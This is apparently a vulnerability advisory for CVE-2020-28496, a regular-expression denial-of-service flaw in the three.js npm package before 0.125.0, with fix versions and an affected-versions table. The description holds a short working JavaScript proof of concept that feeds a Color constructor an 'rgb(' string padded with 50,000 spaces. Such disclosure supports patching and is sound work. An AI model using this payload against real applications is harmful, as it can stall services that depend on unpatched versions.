CVE-2020-28496
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
How to fix
- three_project three0.125.0 or later
- three0.125.0 or later
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| three_project three | v < 0.125.0 | 0.125.0 |
| threenpm | v < 0.125.0 | 0.125.0 |
Check your version
Choose the product and enter the version you run to see whether it falls in the affected range.
Attack Surface Management
See the assets tied to your domains, the technologies they run and known vulnerabilities in one list.